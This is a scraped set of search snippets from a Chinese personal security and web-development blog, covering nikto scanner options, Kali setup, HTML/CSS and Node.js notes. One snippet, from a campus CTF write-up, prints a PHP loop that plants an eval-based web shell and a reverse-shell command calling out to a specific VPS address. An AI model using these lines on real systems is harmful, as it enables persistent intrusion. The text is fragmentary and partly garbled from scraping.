SANJIANGWUHU.COM

blog.timewhile.com

nikto 强大的web安全扫描器 – y0uz's blog

https://blog.timewhile.com/archives/241

至于为何谈他，是因为今天扫描自己博客，然后它并没有被阿里云的云盾拦截 阿里云检查到了一小部分 ，还有它的no404,也是这个工具的一大优势，据说这款工具更新比较慢，不能检测最新的漏洞，所以大家还是需要多更新。 D Debug output/ 输出请求详情 最详细 E Display all HTTP errors/ 显示所有http错误 P pause/ 暂停 p或space 空格键 / 输出扫描进度 q / 推出 v / 详细信息 略详细 a / 显示身份认证过程 c / 显示cookie r / 显示重定向的东西. Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

javascript – y0uz's blog

https://blog.timewhile.com/wp/javascript

下面是代码 /* * Module dependencise. */ var fs = require('fs'), stdin = process.stdin, std. Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

html5+css3 – y0uz's blog

https://blog.timewhile.com/wp/html5css3

例 list-style-image: url(xxx.gif); list-style-position: 对列表中的项目符号或者序号进行定位。 关键字:inside,outside; list-style-type: 给列表设定项目符号. Doctype html html head meta charset="utf-8"/ title 注册 /title /head body&g. Color:字体颜色,可以使用16进制表示，rgb表示,已及rgba表示; font-family:字体样式，常见有谷歌字体和serif,sans-serif,monotype,两个单词组成的字体要放在双引号里边; font-size:字体大小，单位可以是em，px; font-style:使文本变成. Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

sctf校内线下赛小记 – y0uz's blog

https://blog.timewhile.com/archives/232

原理很简单，一个while里边嵌套一个file put contents(),while限定条件必须是死循环。 Php while(1) { file put contents("lalala.php","? Php @eval( $ POST['lalala'];)? 一般服务器肯定会给linux的，所以我们可以getshell后让对方服务器反弹一个shell到我的们vps便达到长期控制 对方没有权限结束这个进程 ，依旧放一简单脚本，后边的sleep 1)是为了防shell掉线. Php while(1){ system("bash -i and /dev/tcp/139.129.21.48/12315 0 &1"); sleep(1); };? Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

Kali linux/Web 渗透 – y0uz's blog

https://blog.timewhile.com/wp/kali

至于为何谈他，是因为今天扫描自己博客，然后它并没有被阿里云的云盾拦截 阿里云检查到了一小部分 ，还有它的no404,也是这个工具. Kali roling和2.0的一个巨大区别就是kali r. Kali linux rolling,sana更新源. Kali-rolling官方源 deb http:/ http.kali.org/kali kali-rolling main contrib non-free deb-src http:/ http.kali.org/kali kali-rolling main contrib non-free rolling源这两个就够了 # Kali-Rolling 源 # by advanc. Shodan是msfconsole创始人与几个爱好技术的黑客开发的一款黑客搜索引擎，被称为可怕的搜索引擎，详细介绍见百度百科 网站地址 www.shodan.io 建议免费注册一账号，无账号的话，默认只显示10条搜索记录。 Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

nodejs 使用express框架post发送数据到当前页面 – y0uz's blog

https://blog.timewhile.com/archives/284

Form method="post" action="/" First name: br input type="text" name="firstname" br Last name: br input type="text" name="lastname" /br input type="submit" value="go"/ /form p { {firstname} } /p. DOCTYPE html html head lang='en' meta charset="UTF-8" title only for test /title /head body { {body} } /body /html 注 1,此处采用的模板为express-handlebars 2,demo测试截图. Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

php – y0uz's blog

https://blog.timewhile.com/wp/php

Doctype html html head meta charset="utf-8"/ title 注册 /title /head body&g. Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

kali rolling 安装最新版qq – y0uz's blog

https://blog.timewhile.com/archives/228

Kali roling和2.0的一个巨大区别就是kali rolling的软件一般为最新的稳定版，所以不需要重新配置wine 省去了很多麻烦的步骤 ，只需要下载后将文件放到用户的home目录下. 然后$tar xvf wineQQ8.2O17724.tar.xz 进行解压就可以在应用程序= 通用应用= 互联网中找到他的快捷方式. 或者安装deb包的qq7.8,方法很简单，稳定性未测 http:/ www.longene.org/forum/viewtopic.php? Kali 2.0装qq方法 http:/ blog.timewhile.com/archives/115. Theme is iDevise by Tokin. 2017 y0uz's blog.

blog.timewhile.com

平常遇到的问题随笔（附解决方案）（持续更新） – y0uz's blog

https://blog.timewhile.com/archives/200

1 今天升级小组博客插件遇到了WP HTTP Error: Problem with the SSL CA cert 错误. Problem with the SSL CA cert (path? 百度谷歌了很久没有解决，大部分的解决方案是 amh 4.2改为兼容模式，但主机并没有用amh。 红帽linux比赛中遇到的，各种方法rm都试过，还是没能删除，刚刚百度了下，文件添加了防修改的权限，可以用lsattr查看，用chattr -i filename 解除此权限。 3win server域中，net view后提示 系统错误6118: 该工作组的服务器列表当前不可用。 开始 运行 services.msc，开启computer browser 服务。 4Centos6.5用yum install mysql后，/etc/inti.d/下无mysqld，命令行输入mysql后提示ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ (2).